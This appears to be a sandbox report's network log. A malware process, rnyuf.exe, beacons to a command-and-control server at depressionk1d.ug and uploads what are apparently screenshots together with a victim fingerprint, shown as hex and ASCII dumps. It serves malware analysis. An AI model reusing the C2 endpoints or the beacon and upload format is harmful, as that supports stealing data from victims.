Nov 12, 2021 22:23:36.598956108 CET	5155	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:36.599087954 CET	5169	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:36.599155903 CET	5174	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:36.621447086 CET	5183	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:36.621562958 CET	5194	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:23:36.621623993 CET	5202	OUT	Data Raw: 29 4c fc d9 c6 49 c9 eb f2 8a f7 b9 bf e1 22 f3 e4 f2 3f b2 fc 9d c7 66 ff 00 33 76 dc f1 9c 77 c5 79 3d cc ff 00 07 a7 27 cb d6 6e ed b3 ff 00 3c a2 9c e3 fe fa 8c d7 45 37 8d fe 16 cf 3c 93 4b a8 ee 92 46 2e c7 c8 ba 19 24 e4 ff 00 0d 71 62 64 Data Ascii: )LI"?f3vwy='n<E7<KF.$qbdt}GD)>yn7357_Mp\|UC^;%yR&\|\|*UiE5K`9^~i)4.u%H8 bp
Nov 12, 2021 22:23:36.621685982 CET	5210	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@
Nov 12, 2021 22:23:36.668430090 CET	5246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49859	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.640966892 CET	5226	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.666223049 CET	5246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49860	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.807454109 CET	5247	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.833304882 CET	5247	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49861	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.964042902 CET	5248	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:37.277503014 CET	5358	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49862	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:37.136358976 CET	5248	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:37.136476040 CET	5249	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:37.136713982 CET	5259	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:37.136862993 CET	5261	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:37.159131050 CET	5265	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:37.159164906 CET	5270	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:37.159182072 CET	5275	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:37.159193039 CET	5278	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:37.159198999 CET	5280	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:37.159209967 CET	5287	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:37.181446075 CET	5290	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:37.279055119 CET	5358	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49863	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:37.419044971 CET	5359	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:37.448461056 CET	5360	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49789	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:11.300755024 CET	1468	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:11.300961018 CET	1468	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:11.301270962 CET	1478	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:11.301553965 CET	1481	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:11.323626041 CET	1484	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:11.323682070 CET	1492	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:11.323781967 CET	1495	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:11.323827982 CET	1501	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:11.323873997 CET	1504	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:11.323915958 CET	1507	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:11.346317053 CET	1515	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:11.446185112 CET	1578	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:11 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49864	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:37.589437962 CET	5360	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:37.617027998 CET	5361	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:37.712647915 CET	5361	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:37.712874889 CET	5361	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:37.713076115 CET	5371	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:37.713171005 CET	5374	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:37.735601902 CET	5379	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
